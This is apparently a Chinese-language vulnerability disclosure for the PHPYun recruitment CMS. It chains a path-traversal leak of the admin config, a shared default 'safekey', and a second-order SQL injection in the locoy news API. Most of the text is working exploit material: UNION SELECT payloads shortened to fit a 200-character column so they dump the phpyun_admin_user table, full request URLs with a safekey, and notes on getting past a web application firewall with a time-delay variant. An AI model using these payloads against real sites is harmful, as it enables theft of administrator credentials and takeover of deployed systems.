http://**.**.**.**/company/index.php?m=index&c=index&id=3751&style=../../template/admin&tp=/admin_web_config
可以发现现在打开是空白了。。 来看看代码。
在conpany/model/index.class.php中
那么就继续绕过过滤进行注入。
请无视上面的。
这个是之前的了, 但是还是有点问题的是。
发现phpyun生成的safekey都是一样的。
我测试了一些站 发现很少有改的。
之前连demo也没改。后面被我注入了几次才改了。
推荐随机生成一个呗。 咱我记得以前都是随机的。
现在都是啥72**啥的。 rand
在api\locoy\model\news.class.php中
在model/news.class.php中
因为是二次注入 如果使用盲注的话 二次注入会非常的麻烦。
所以还是要想办法联合查询。
然后构造一下 因为主语句中有16个列 所以要16个。
%') and 1=2 UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN(SELECT 4)d JOIN (SELECT 5)e JOIN (SELECT 6)f JOIN (SELECT 7)g JOIN (SELECT 8)h JOIN (SELECT 9)i JOIN (SELECT 10)j JOIN (SELECT 11)k JOIN (SELECT 12)l JOIN (SELECT 13)m JOIN (SELECT 14)n JOIN (SELECT 15)o JOIN (a 16)p)#
后面发现 数据库没存储完。
| keyword | varchar(200) | NO | | NULL |
去看了下数据库 才发现keyword这个列只能储存200个字符 但是我们上面那个语句都已经300了。。 所以要想办法缩短到200.
后面我看了一下管理表 phpyun_admin_user 有8个列。
那我们再构造一下
') and 1=2 union select * from phpyun_admin_user join (select 1)a join (select 2)b join (select 2)c join (select 3)d join (select 4) e join(select 5)f join(select 6)g join (select 7)o join(select 8)p#
我勒个擦 这运气也太好了把。。 刚好200个字符。。
然后来测试。
http://web/web/phpyun1226/api/locoy/index.php/admin/?m=news&c=addnews&key=phpyun
title=xa&content=xxax&nid=555&keyword=') and 1=2 union select * from phpyun_admin_user join (select 1)a join (select 2)b join (select 2)c join (select 3)d join (select 4) e join(select 5)f join(select 6)g join (select 7)o join(select 8)p#&safekey=939ab244bfc16c6013fadef6e6ecc702
返回1 添加成功。
然后访问 最后一个id的新闻 这里我们只需要把id写得很大
http://web/web/phpyun1226/index.php?m=news&c=show&id=21
然后会提示上一个新闻 点进去 就是我们的新闻了。
直接出数据。。 这里再用demo演示一下。
这里看到被拦截了 这里我们拿一下safekey
http://**.**.**.**/company/index.php?m=index&c=index&id=3751&style=index&tp=../../../template/admin/admin_web_config
这样绕过过滤 直接拿safekey
然后计算一下safekey
可以看到用计算出来的saefkey 又绕过了过滤。。
但是我过不了demo的安全狗 我擦擦擦擦擦。 这里我延时一个把。
返回1添加成功。
http://**.**.**.**/index.php?m=news&c=show&id=457 //延时了的
http://**.**.**.**/index.php?m=news&c=show&id=450 //普通的
可以发现明显时间不同。。